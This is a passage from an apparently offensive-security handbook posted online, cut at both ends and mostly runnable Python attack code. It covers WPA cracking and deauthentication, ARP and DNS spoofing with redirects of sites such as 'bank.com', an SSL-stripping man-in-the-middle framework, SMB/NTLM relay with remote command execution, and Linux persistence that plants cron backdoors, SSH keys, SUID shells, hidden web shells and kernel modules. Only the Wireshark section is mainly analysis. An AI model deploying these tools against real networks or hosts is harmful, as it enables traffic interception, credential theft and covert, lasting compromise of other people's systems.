    def crack_handshake(self, capture_file, wordlist):
        """Crack WPA handshake with aircrack-ng"""
        
        cmd = ['aircrack-ng', '-w', wordlist, capture_file]
        
        print(f"[*] Cracking handshake: {' '.join(cmd)}")
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True)
            print(result.stdout)
            
            if 'KEY FOUND' in result.stdout:
                print("[+] Key found!")
                return True
            else:
                print("[-] Key not found in wordlist")
                return False
        except Exception as e:
            print(f"Error: {e}")
            return False
    
    def aireplay_attack(self, interface, ap_mac, client_mac=None, attack_type='deauth'):
        """Run aireplay-ng attacks"""
        
        if attack_type == 'deauth':
            cmd = ['sudo', 'aireplay-ng', '-0', '10', '-a', ap_mac]
            if client_mac:
                cmd.extend(['-c', client_mac])
            cmd.append(interface)
            
        elif attack_type == 'fakeauth':
            cmd = ['sudo', 'aireplay-ng', '-1', '0', '-e', 'SSID', '-a', ap_mac, '-h', '00:11:22:33:44:55', interface]
            
        elif attack_type == 'arp':
            cmd = ['sudo', 'aireplay-ng', '-3', '-b', ap_mac, '-h', '00:11:22:33:44:55', interface]
            
        else:
            print(f"[-] Unknown attack type: {attack_type}")
            return None
            
        print(f"[*] Running: {' '.join(cmd)}")
        return cmd

# Example usage
air = AircrackSuite()

# Check airmon
air.check_airmon()

# Start monitor mode
mon_iface = air.start_monitor('wlan0')

if mon_iface:
    # Run airodump (would be interactive)
    air.run_airodump(mon_iface, channel='6', output='capture')
    
    # Later, crack handshake
    # air.crack_handshake('capture-01.cap', '/usr/share/wordlists/rockyou.txt')
    
    # Stop monitor mode
    # air.stop_monitor(mon_iface)

Chapter 19 — Network Attacks

Network attacks target the underlying network infrastructure, protocols, and communications.

19.1 ARP Spoofing

ARP spoofing (ARP poisoning) is a technique to intercept traffic on a local network.

19.1.1 ARP Spoofing Implementation

#!/usr/bin/env python3
# arp_spoofing.py

from scapy.all import *
import time
import sys
import threading

class ARPSpoofer:
    def __init__(self, interface):
        self.interface = interface
        self.running = False
        self.packets_forwarded = 0
        
    def get_mac(self, ip):
        """Get MAC address for IP using ARP"""
        
        arp_request = ARP(pdst=ip)
        broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast/arp_request
        
        answered_list = srp(arp_request_broadcast, timeout=2, 
                          iface=self.interface, verbose=False)[0]
        
        if answered_list:
            return answered_list[0][1].hwsrc
        return None
    
    def spoof(self, target_ip, spoof_ip):
        """Send ARP spoofing packet"""
        
        target_mac = self.get_mac(target_ip)
        if not target_mac:
            print(f"[-] Could not get MAC for {target_ip}")
            return False
            
        packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
        send(packet, iface=self.interface, verbose=False)
        self.packets_forwarded += 1
        return True
    
    def restore(self, target_ip, source_ip):
        """Restore ARP tables to original state"""
        
        target_mac = self.get_mac(target_ip)
        source_mac = self.get_mac(source_ip)
        
        if target_mac and source_mac:
            packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, 
                        psrc=source_ip, hwsrc=source_mac)
            send(packet, count=4, iface=self.interface, verbose=False)
            print(f"[+] ARP tables restored for {target_ip}")
    
    def start_spoofing(self, target_ip, gateway_ip):
        """Start continuous ARP spoofing"""
        
        self.running = True
        print(f"[*] Starting ARP spoofing: {target_ip} <-> {gateway_ip}")
        print("[*] Press Ctrl+C to stop")
        
        # Enable IP forwarding
        with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
            f.write('1')
            
        try:
            while self.running:
                # Spoof target: gateway's IP is at attacker's MAC
                self.spoof(target_ip, gateway_ip)
                
                # Spoof gateway: target's IP is at attacker's MAC
                self.spoof(gateway_ip, target_ip)
                
                time.sleep(2)  # Send every 2 seconds
                
        except KeyboardInterrupt:
            print("\n[*] Stopping ARP spoofing...")
            self.stop_spoofing(target_ip, gateway_ip)
            
    def stop_spoofing(self, target_ip, gateway_ip):
        """Stop ARP spoofing and restore ARP tables"""
        
        self.running = False
        
        # Restore ARP tables
        self.restore(target_ip, gateway_ip)
        self.restore(gateway_ip, target_ip)
        
        # Disable IP forwarding
        with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
            f.write('0')
            
        print(f"[+] ARP spoofing stopped. {self.packets_forwarded} packets forwarded")
        
    def sniff_traffic(self, filter=None, count=0):
        """Sniff traffic after ARP spoofing"""
        
        print(f"[*] Sniffing traffic on {self.interface}...")
        
        def packet_callback(pkt):
            if IP in pkt:
                print(f"  {pkt[IP].src}:{pkt.sport if TCP in pkt else ''} -> "
                      f"{pkt[IP].dst}:{pkt.dport if TCP in pkt else ''}")
                
        sniff(iface=self.interface, prn=packet_callback, 
              filter=filter, count=count, store=0)

# Example usage
if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("Usage: arp_spoofing.py <interface> <target_ip> <gateway_ip>")
        sys.exit(1)
        
    interface = sys.argv[1]
    target_ip = sys.argv[2]
    gateway_ip = sys.argv[3]
    
    spoofer = ARPSpoofer(interface)
    
    # Start spoofing in a separate thread
    spoof_thread = threading.Thread(
        target=spoofer.start_spoofing,
        args=(target_ip, gateway_ip)
    )
    spoof_thread.start()
    
    # Sniff traffic
    try:
        spoofer.sniff_traffic()
    except KeyboardInterrupt:
        spoofer.stop_spoofing(target_ip, gateway_ip)

19.2 DNS Spoofing

DNS spoofing redirects victims to malicious sites by forging DNS responses.

19.2.1 DNS Spoofing Implementation

#!/usr/bin/env python3
# dns_spoofing.py

from scapy.all import *
import netifaces
import sys

class DNSSpoofer:
    def __init__(self, interface):
        self.interface = interface
        self.running = False
        self.redirect_map = {}
        
    def get_gateway(self):
        """Get gateway IP for interface"""
        
        gateways = netifaces.gateways()
        default_gateway = gateways['default'][netifaces.AF_INET]
        return default_gateway[0]
    
    def get_ip(self):
        """Get IP address of interface"""
        
        addrs = netifaces.ifaddresses(self.interface)
        return addrs[netifaces.AF_INET][0]['addr']
    
    def add_redirect(self, domain, redirect_ip):
        """Add domain to redirect map"""
        
        self.redirect_map[domain] = redirect_ip
        print(f"[+] Will redirect {domain} to {redirect_ip}")
        
    def dns_response(self, packet):
        """Create spoofed DNS response"""
        
        # Check if it's a DNS query
        if packet.haslayer(DNSQR) and packet[IP].src != self.get_ip():
            query_name = packet[DNSQR].qname.decode('utf-8').rstrip('.')
            
            # Check if domain is in redirect map
            redirect_ip = None
            for domain, ip in self.redirect_map.items():
                if domain in query_name or query_name in domain:
                    redirect_ip = ip
                    print(f"[+] Spoofing DNS for {query_name} -> {redirect_ip}")
                    break
                    
            if redirect_ip:
                # Build spoofed response
                response = IP(
                    src=packet[IP].dst,
                    dst=packet[IP].src
                ) / UDP(
                    sport=packet[UDP].dport,
                    dport=packet[UDP].sport
                ) / DNS(
                    id=packet[DNS].id,
                    qr=1,
                    aa=1,
                    qd=packet[DNS].qd,
                    an=DNSRR(
                        rrname=packet[DNS].qd.qname,
                        ttl=300,
                        rdata=redirect_ip
                    )
                )
                
                # Send spoofed response
                send(response, iface=self.interface, verbose=False)
                return True
                
        return False
    
    def start_spoofing(self):
        """Start DNS spoofing"""
        
        self.running = True
        print(f"[*] Starting DNS spoofing on {self.interface}")
        print("[*] Press Ctrl+C to stop")
        
        # Enable IP forwarding
        with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
            f.write('1')
            
        try:
            sniff(iface=self.interface, prn=self.dns_response, store=0)
        except KeyboardInterrupt:
            print("\n[*] Stopping DNS spoofing...")
            self.stop_spoofing()
            
    def stop_spoofing(self):
        """Stop DNS spoofing"""
        
        self.running = False
        
        # Disable IP forwarding
        with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
            f.write('0')
            
        print("[+] DNS spoofing stopped")

# Example usage
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: dns_spoofing.py <interface>")
        sys.exit(1)
        
    interface = sys.argv[1]
    
    spoofer = DNSSpoofer(interface)
    
    # Add redirects
    spoofer.add_redirect("example.com", "192.168.1.100")
    spoofer.add_redirect("google.com", "192.168.1.100")
    spoofer.add_redirect("bank.com", "192.168.1.100")
    
    # Start spoofing
    spoofer.start_spoofing()

19.3 MITM (Man-in-the-Middle)

Man-in-the-Middle attacks intercept and potentially modify communications between two parties.

19.3.1 Complete MITM Framework

#!/usr/bin/env python3
# mitm_framework.py

import threading
import subprocess
import os
import signal
import time

class MITMFramework:
    def __init__(self, interface, target_ip, gateway_ip):
        self.interface = interface
        self.target_ip = target_ip
        self.gateway_ip = gateway_ip
        self.processes = []
        
    def enable_ip_forwarding(self):
        """Enable IP forwarding"""
        
        with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
            f.write('1')
        print("[+] IP forwarding enabled")
        
    def disable_ip_forwarding(self):
        """Disable IP forwarding"""
        
        with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
            f.write('0')
        print("[+] IP forwarding disabled")
        
    def setup_iptables_redirect(self, redirect_port=8080):
        """Setup iptables to redirect traffic"""
        
        # Redirect HTTP to local port
        cmd1 = ['sudo', 'iptables', '-t', 'nat', '-A', 'PREROUTING', 
                '-p', 'tcp', '--dport', '80', '-j', 'REDIRECT', 
                '--to-port', str(redirect_port)]
        
        # Redirect HTTPS to local port
        cmd2 = ['sudo', 'iptables', '-t', 'nat', '-A', 'PREROUTING',
                '-p', 'tcp', '--dport', '443', '-j', 'REDIRECT',
                '--to-port', str(redirect_port)]
        
        subprocess.run(cmd1)
        subprocess.run(cmd2)
        print(f"[+] Traffic redirected to port {redirect_port}")
        
    def clear_iptables(self):
        """Clear iptables rules"""
        
        subprocess.run(['sudo', 'iptables', '-t', 'nat', '-F'])
        subprocess.run(['sudo', 'iptables', '-F'])
        print("[+] iptables rules cleared")
        
    def start_arpspoof(self):
        """Start ARP spoofing"""
        
        # Spoof target
        cmd1 = ['sudo', 'arpspoof', '-i', self.interface, 
                '-t', self.target_ip, self.gateway_ip]
        
        # Spoof gateway
        cmd2 = ['sudo', 'arpspoof', '-i', self.interface,
                '-t', self.gateway_ip, self.target_ip]
        
        proc1 = subprocess.Popen(cmd1, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        proc2 = subprocess.Popen(cmd2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        
        self.processes.extend([proc1, proc2])
        print("[+] ARP spoofing started")
        
    def start_sslstrip(self, port=8080):
        """Start SSLstrip to downgrade HTTPS to HTTP"""
        
        try:
            proc = subprocess.Popen(['sslstrip', '-l', str(port), '-w', 'sslstrip.log'],
                                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
            self.processes.append(proc)
            print(f"[+] SSLstrip started on port {port}")
        except FileNotFoundError:
            print("[-] sslstrip not found. Install with: pip install sslstrip")
            
    def start_dnsspoof(self, hosts_file):
        """Start DNS spoofing"""
        
        cmd = ['sudo', 'dnsspoof', '-i', self.interface, '-f', hosts_file]
        proc = subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        self.processes.append(proc)
        print("[+] DNS spoofing started")
        
    def create_hosts_file(self, redirects):
        """Create hosts file for DNS spoofing"""
        
        with open('/tmp/dnsspoof.hosts', 'w') as f:
            for ip, domains in redirects.items():
                for domain in domains:
                    f.write(f"{ip}\t{domain}\n")
                    
        print(f"[+] Hosts file created with {len(redirects)} entries")
        return '/tmp/dnsspoof.hosts'
        
    def start_driftnet(self):
        """Start driftnet to capture images"""
        
        cmd = ['sudo', 'driftnet', '-i', self.interface]
        proc = subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        self.processes.append(proc)
        print("[+] driftnet started")
        
    def start_urlsnarf(self):
        """Start urlsnarf to capture URLs"""
        
        cmd = ['sudo', 'urlsnarf', '-i', self.interface]
        proc = subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        self.processes.append(proc)
        print("[+] urlsnarf started")
        
    def start_tcpdump(self, output_file='capture.pcap'):
        """Start tcpdump to capture all traffic"""
        
        cmd = ['sudo', 'tcpdump', '-i', self.interface, '-w', output_file]
        proc = subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        self.processes.append(proc)
        print(f"[+] tcpdump started, saving to {output_file}")
        
    def stop_all(self):
        """Stop all running processes"""
        
        print("[*] Stopping all processes...")
        
        for proc in self.processes:
            proc.terminate()
            
        time.sleep(2)
        for proc in self.processes:
            if proc.poll() is None:
                proc.kill()
                
        self.processes.clear()
        
    def run_full_mitm(self, sslstrip_port=8080, capture_images=True, capture_urls=True):
        """Run full MITM attack with all components"""
        
        print("=" * 60)
        print("MAN-IN-THE-MIDDLE ATTACK")
        print("=" * 60)
        
        # Enable IP forwarding
        self.enable_ip_forwarding()
        
        # Setup iptables redirect
        self.setup_iptables_redirect(sslstrip_port)
        
        # Start ARP spoofing
        self.start_arpspoof()
        
        # Start SSLstrip
        self.start_sslstrip(sslstrip_port)
        
        # Start other tools
        if capture_images:
            self.start_driftnet()
            
        if capture_urls:
            self.start_urlsnarf()
            
        # Start packet capture
        self.start_tcpdump()
        
        print("\n[*] MITM attack running. Press Ctrl+C to stop...")
        
        try:
            while True:
                time.sleep(1)
        except KeyboardInterrupt:
            print("\n[*] Stopping MITM attack...")
            self.stop_all()
            self.clear_iptables()
            self.disable_ip_forwarding()
            print("[+] MITM attack stopped")

# Example usage
mitm = MITMFramework('eth0', '192.168.1.100', '192.168.1.1')

# Create hosts file for DNS spoofing
redirects = {
    '192.168.1.50': ['example.com', 'www.example.com'],
    '192.168.1.51': ['bank.com', 'www.bank.com']
}
hosts_file = mitm.create_hosts_file(redirects)

# Start DNS spoofing
# mitm.start_dnsspoof(hosts_file)

# Run full MITM
mitm.run_full_mitm()

19.4 SMB Attacks

Server Message Block (SMB) protocol attacks target Windows file sharing.

19.4.1 SMB Relay Attacks

#!/usr/bin/env python3
# smb_relay.py

import subprocess
import os

class SMBRelay:
    def __init__(self):
        self.techniques = {
            'smb_relay': 'Relay SMB authentication to another system',
            'ntlm_relay': 'Relay NTLM authentication',
            'smb_signing_disabled': 'Exploit systems with SMB signing disabled',
            'responder': 'Capture NTLM hashes using Responder'
        }
        
    def check_smb_signing(self, target):
        """Check if SMB signing is disabled"""
        
        print(f"[*] Checking SMB signing on {target}")
        
        cmd = ['nmap', '-p', '445', '--script', 'smb2-security-mode', target]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True)
            
            if 'signing is required' in result.stdout.lower():
                print(f"[+] SMB signing is enabled on {target}")
                return True
            else:
                print(f"[!] SMB signing is disabled on {target} - vulnerable to relay")
                return False
        except:
            pass
            
        return None
    
    def run_responder(self, interface, analyze=False):
        """Run Responder to capture NTLM hashes"""
        
        cmd = ['sudo', 'responder', '-I', interface]
        
        if analyze:
            cmd.append('-A')  # Analyze mode
            
        print(f"[*] Starting Responder: {' '.join(cmd)}")
        
        # This runs interactively
        return cmd
    
    def run_ntlmrelayx(self, targets, commands=None):
        """Run ntlmrelayx to relay authentication"""
        
        cmd = ['ntlmrelayx.py', '-tf', targets]
        
        if commands:
            cmd.extend(['-c', commands])
            
        print(f"[*] Starting ntlmrelayx: {' '.join(cmd)}")
        return cmd
    
    def create_targets_file(self, targets, filename):
        """Create targets file for ntlmrelayx"""
        
        with open(filename, 'w') as f:
            for target in targets:
                f.write(target + '\n')
                
        print(f"[+] Targets file created: {filename}")
        return filename
    
    def smb_exec(self, target, username, password, command):
        """Execute command via SMB using psexec"""
        
        cmd = ['psexec.py', f'{username}:{password}@{target}', command]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True)
            print(result.stdout)
            return result.stdout
        except Exception as e:
            print(f"Error: {e}")
            return None

# Example usage
smb = SMBRelay()

# Check SMB signing
smb.check_smb_signing('192.168.1.100')

# Create targets file
targets = smb.create_targets_file(['192.168.1.101', '192.168.1.102'], 'smb_targets.txt')

# Run ntlmrelayx (would be used with Responder)
# smb.run_ntlmrelayx('smb_targets.txt', 'whoami')

19.5 NTLM Relay

NTLM relay attacks capture and forward NTLM authentication attempts.

19.5.1 NTLM Relay Implementation

#!/usr/bin/env python3
# ntlm_relay.py

import socket
import threading
import struct
import base64

class NTLMRelay:
    def __init__(self, listen_port=445, target_host=None):
        self.listen_port = listen_port
        self.target_host = target_host
        self.running = False
        
    def handle_client(self, client_socket, address):
        """Handle incoming client connection"""
        
        print(f"[+] Connection from {address}")
        
        if self.target_host:
            # Connect to target
            target_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            target_socket.connect((self.target_host, 445))
            print(f"[+] Connected to target {self.target_host}")
            
            # Relay traffic between client and target
            self.relay_traffic(client_socket, target_socket)
        else:
            # Just capture NTLM authentication
            self.capture_ntlm(client_socket)
            
    def relay_traffic(self, client_sock, target_sock):
        """Relay traffic between client and target"""
        
        # Set sockets to non-blocking
        client_sock.setblocking(0)
        target_sock.setblocking(0)
        
        sockets = [client_sock, target_sock]
        
        while self.running:
            try:
                readable, _, _ = select.select(sockets, [], [], 1)
                
                for sock in readable:
                    data = sock.recv(4096)
                    if not data:
                        return
                        
                    # Relay to other socket
                    if sock is client_sock:
                        target_sock.send(data)
                        self.log_packet("Client -> Target", data)
                    else:
                        client_sock.send(data)
                        self.log_packet("Target -> Client", data)
                        
            except:
                pass
                
    def capture_ntlm(self, client_socket):
        """Capture NTLM authentication attempt"""
        
        # This would parse NTLMSSP messages
        # Simplified for demonstration
        
        data = client_socket.recv(4096)
        
        # Look for NTLMSSP signature
        if b'NTLMSSP' in data:
            print("[!] NTLM authentication captured!")
            
            # Extract NTLM hash
            # This would involve parsing the NTLMSSP structure
            
            # Log the raw data
            with open('ntlm_captures.txt', 'ab') as f:
                f.write(data)
                
    def log_packet(self, direction, data):
        """Log relayed packet"""
        
        # In practice, you might want to analyze/modify packets
        pass
        
    def start(self):
        """Start NTLM relay server"""
        
        self.running = True
        
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server.bind(('0.0.0.0', self.listen_port))
        server.listen(5)
        
        print(f"[*] NTLM relay listening on port {self.listen_port}")
        
        while self.running:
            try:
                client, addr = server.accept()
                thread = threading.Thread(target=self.handle_client, args=(client, addr))
                thread.daemon = True
                thread.start()
            except:
                pass
                
    def stop(self):
        """Stop relay server"""
        
        self.running = False

# Example usage
relay = NTLMRelay(listen_port=445, target_host='192.168.1.100')
# relay.start()

19.6 Wireshark

Wireshark is the premier network protocol analyzer for packet capture and analysis.

19.6.1 Wireshark Automation and Analysis

#!/usr/bin/env python3
# wireshark_automation.py

import subprocess
import os
import json
import pyshark

class WiresharkAutomation:
    def __init__(self):
        self.capture = None
        
    def capture_packets(self, interface, count=100, output_file='capture.pcap'):
        """Capture packets using tshark"""
        
        cmd = ['tshark', '-i', interface, '-c', str(count), '-w', output_file]
        
        print(f"[*] Capturing {count} packets on {interface}")
        
        try:
            subprocess.run(cmd)
            print(f"[+] Packets saved to {output_file}")
            return output_file
        except Exception as e:
            print(f"Error: {e}")
            return None
    
    def analyze_pcap(self, pcap_file):
        """Analyze PCAP file using pyshark"""
        
        print(f"[*] Analyzing {pcap_file}")
        
        cap = pyshark.FileCapture(pcap_file)
        
        stats = {
            'total_packets': 0,
            'protocols': {},
            'ip_addresses': set(),
            'http_requests': [],
            'dns_queries': [],
            'tcp_streams': set()
        }
        
        for packet in cap:
            stats['total_packets'] += 1
            
            # Count protocols
            highest_layer = packet.highest_layer
            stats['protocols'][highest_layer] = stats['protocols'].get(highest_layer, 0) + 1
            
            # Collect IP addresses
            if 'IP' in packet:
                stats['ip_addresses'].add(packet.ip.src)
                stats['ip_addresses'].add(packet.ip.dst)
                
            # HTTP requests
            if 'HTTP' in packet:
                if hasattr(packet.http, 'request_method'):
                    stats['http_requests'].append({
                        'method': packet.http.request_method,
                        'uri': packet.http.request_uri if hasattr(packet.http, 'request_uri') else '',
                        'host': packet.http.host if hasattr(packet.http, 'host') else ''
                    })
                    
            # DNS queries
            if 'DNS' in packet:
                if hasattr(packet.dns, 'qry_name'):
                    stats['dns_queries'].append(packet.dns.qry_name)
                    
            # TCP streams
            if 'TCP' in packet:
                stream_id = f"{packet.ip.src}:{packet.tcp.srcport}->{packet.ip.dst}:{packet.tcp.dstport}"
                stats['tcp_streams'].add(stream_id)
                
        cap.close()
        
        return stats
    
    def filter_pcap(self, pcap_file, filter_expression, output_file='filtered.pcap'):
        """Filter PCAP using display filter"""
        
        cmd = ['tshark', '-r', pcap_file, '-Y', filter_expression, '-w', output_file]
        
        try:
            subprocess.run(cmd)
            print(f"[+] Filtered packets saved to {output_file}")
            return output_file
        except Exception as e:
            print(f"Error: {e}")
            return None
    
    def extract_objects(self, pcap_file, object_type='http'):
        """Extract objects from capture (HTTP files, etc.)"""
        
        if object_type == 'http':
            cmd = ['tshark', '-r', pcap_file, '--export-objects', 'http,./extracted']
        elif object_type == 'smb':
            cmd = ['tshark', '-r', pcap_file, '--export-objects', 'smb,./extracted']
        else:
            print(f"[-] Unknown object type: {object_type}")
            return None
            
        try:
            os.makedirs('extracted', exist_ok=True)
            subprocess.run(cmd)
            print(f"[+] Objects extracted to ./extracted")
            return './extracted'
        except Exception as e:
            print(f"Error: {e}")
            return None
    
    def follow_stream(self, pcap_file, stream_index, protocol='tcp'):
        """Follow and extract TCP/UDP stream"""
        
        cmd = ['tshark', '-r', pcap_file, '-q', '--follow', protocol, 
               '--color', str(stream_index)]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True)
            return result.stdout
        except Exception as e:
            print(f"Error: {e}")
            return None
    
    def generate_statistics(self, pcap_file):
        """Generate various statistics"""
        
        stats = {}
        
        # Protocol hierarchy
        proto_cmd = ['tshark', '-r', pcap_file, '-z', 'io,phs', '-q']
        proto_result = subprocess.run(proto_cmd, capture_output=True, text=True)
        stats['protocol_hierarchy'] = proto_result.stdout
        
        # Endpoints
        endpoints_cmd = ['tshark', '-r', pcap_file, '-z', 'endpoints,ip', '-q']
        endpoints_result = subprocess.run(endpoints_cmd, capture_output=True, text=True)
        stats['endpoints'] = endpoints_result.stdout
        
        # Conversations
        conv_cmd = ['tshark', '-r', pcap_file, '-z', 'conv,ip', '-q']
        conv_result = subprocess.run(conv_cmd, capture_output=True, text=True)
        stats['conversations'] = conv_result.stdout
        
        return stats
    
    def live_capture_and_alert(self, interface, alert_filter, callback):
        """Live capture with alerting"""
        
        def packet_handler(pkt):
            if alert_filter in str(pkt):
                callback(pkt)
                
        cap = pyshark.LiveCapture(interface=interface)
        cap.apply_on_packets(packet_handler)

# Example usage
wireshark = WiresharkAutomation()

# Capture packets
pcap = wireshark.capture_packets('eth0', count=100, output_file='test.pcap')

if pcap:
    # Analyze
    stats = wireshark.analyze_pcap(pcap)
    print(json.dumps(stats, indent=2, default=str))
    
    # Filter
    filtered = wireshark.filter_pcap(pcap, 'http')
    
    # Extract objects
    # wireshark.extract_objects(pcap, 'http')
    
    # Generate statistics
    # stats = wireshark.generate_statistics(pcap)
    # print(stats)

PART VIII — POST-EXPLOITATION

Chapter 20 — Maintaining Access

Post-exploitation refers to the phase after initial compromise, where attackers aim to maintain persistence, escalate privileges, move laterally, and extract valuable data. This phase is critical for both attackers and defenders to understand.

20.1 Persistence Techniques

Persistence ensures continued access to a compromised system even after reboots or credential changes.

20.1.1 Linux Persistence Mechanisms

#!/usr/bin/env python3
# linux_persistence.py

import os
import subprocess
import pwd
import grp
import stat
from datetime import datetime

class LinuxPersistence:
    def __init__(self, session):
        self.session = session
        self.techniques = []
        
    def add_cron_persistence(self, command, schedule="@reboot"):
        """Add persistence via cron jobs"""
        
        print("[*] Adding cron persistence...")
        
        # System-wide crontab
        system_crontab = "/etc/crontab"
        cron_entry = f"{schedule} root {command}\n"
        
        try:
            with open(system_crontab, 'a') as f:
                f.write(cron_entry)
            print(f"[+] Added to {system_crontab}")
            self.techniques.append("cron_system")
        except:
            pass
            
        # User crontab
        try:
            result = subprocess.run(['crontab', '-l'], capture_output=True, text=True)
            current_cron = result.stdout
            new_cron = current_cron + f"{schedule} {command}\n"
            
            with open('/tmp/newcron', 'w') as f:
                f.write(new_cron)
            subprocess.run(['crontab', '/tmp/newcron'])
            os.remove('/tmp/newcron')
            print("[+] Added to user crontab")
            self.techniques.append("cron_user")
        except:
            pass
    
    def add_ssh_persistence(self, ssh_key):
        """Add persistence via SSH authorized_keys"""
        
        print("[*] Adding SSH persistence...")
        
        ssh_dir = os.path.expanduser("~/.ssh")
        auth_keys = os.path.join(ssh_dir, "authorized_keys")
        
        # Create .ssh directory if it doesn't exist
        if not os.path.exists(ssh_dir):
            os.makedirs(ssh_dir, mode=0o700)
            
        # Add SSH key
        try:
            with open(auth_keys, 'a') as f:
                f.write(ssh_key + '\n')
            os.chmod(auth_keys, 0o600)
            print(f"[+] SSH key added to {auth_keys}")
            self.techniques.append("ssh_key")
        except Exception as e:
            print(f"[-] Failed to add SSH key: {e}")
            
    def add_systemd_persistence(self, service_name, command):
        """Add persistence via systemd service"""
        
        print("[*] Adding systemd persistence...")
        
        service_file = f"/etc/systemd/system/{service_name}.service"
        
        service_content = f"""[Unit]
Description={service_name}
After=network.target

[Service]
Type=simple
ExecStart={command}
Restart=always
RestartSec=10
User=root

[Install]
WantedBy=multi-user.target
"""
        
        try:
            with open(service_file, 'w') as f:
                f.write(service_content)
                
            # Enable and start service
            subprocess.run(['systemctl', 'enable', service_name])
            subprocess.run(['systemctl', 'start', service_name])
            
            print(f"[+] Systemd service {service_name} created and started")
            self.techniques.append("systemd")
        except Exception as e:
            print(f"[-] Failed to create systemd service: {e}")
    
    def add_ld_preload_persistence(self, library_path):
        """Add persistence via LD_PRELOAD"""
        
        print("[*] Adding LD_PRELOAD persistence...")
        
        ld_preload_file = "/etc/ld.so.preload"
        
        try:
            with open(ld_preload_file, 'a') as f:
                f.write(library_path + '\n')
            print(f"[+] Added to {ld_preload_file}")
            self.techniques.append("ld_preload")
        except:
            pass
    
    def add_bashrc_persistence(self, command):
        """Add persistence via .bashrc"""
        
        print("[*] Adding bashrc persistence...")
        
        bashrc = os.path.expanduser("~/.bashrc")
        
        try:
            with open(bashrc, 'a') as f:
                f.write(f"\n# Persistence\n{command}\n")
            print(f"[+] Added to {bashrc}")
            self.techniques.append("bashrc")
        except:
            pass
    
    def add_suid_binary(self, binary_path):
        """Create SUID binary for persistence"""
        
        print("[*] Creating SUID binary...")
        
        # Copy /bin/bash or other binary
        suid_binary = "/tmp/.bash"
        
        try:
            subprocess.run(['cp', binary_path, suid_binary])
            os.chmod(suid_binary, 0o4755)  # SUID bit
            print(f"[+] SUID binary created at {suid_binary}")
            self.techniques.append("suid_binary")
        except Exception as e:
            print(f"[-] Failed to create SUID binary: {e}")
    
    def add_web_shell(self, web_root, shell_content):
        """Add web shell for persistence"""
        
        print("[*] Adding web shell...")
        
        web_shells = [
            os.path.join(web_root, "shell.php"),
            os.path.join(web_root, "images/.shell.php"),
            os.path.join(web_root, "wp-content/.shell.php")
        ]
        
        for shell_path in web_shells:
            try:
                os.makedirs(os.path.dirname(shell_path), exist_ok=True)
                with open(shell_path, 'w') as f:
                    f.write(shell_content)
                print(f"[+] Web shell added at {shell_path}")
                self.techniques.append("web_shell")
                break
            except:
                pass
    
    def add_kernel_module_persistence(self, module_path):
        """Add persistence via kernel module"""
        
        print("[*] Adding kernel module persistence...")
        
        modules_file = "/etc/modules"
        
        try:
            module_name = os.path.basename(module_path).replace('.ko', '')
            with open(modules_file, 'a') as f:
                f.write(module_name + '\n')
            print(f"[+] Added {module_name} to {modules_file}")
            self.techniques.append("kernel_module")
        except:
            pass
    
    def list_techniques(self):
        """List all persistence techniques used"""
        
        print("\n[+] Persistence Techniques Applied:")
        for technique in self.techniques:
            print(f"  • {technique}")
            
        return self.techniques
    
    def cleanup(self):
        """Remove persistence mechanisms (for cleanup after testing)"""
        
        print("[*] Cleaning up persistence mechanisms...")
        
        # Remove cron entries
        # Remove SSH keys
        # Remove systemd services
        # etc.
        
        print("[+] Cleanup complete")

# Example usage
persist = LinuxPersistence(session=None)

# Add various persistence mechanisms
persist.add_cron_persistence("/tmp/backdoor.sh", "@reboot")
persist.add_ssh_persistence("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...")
persist.add_systemd_persistence("systemd-backdoor"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment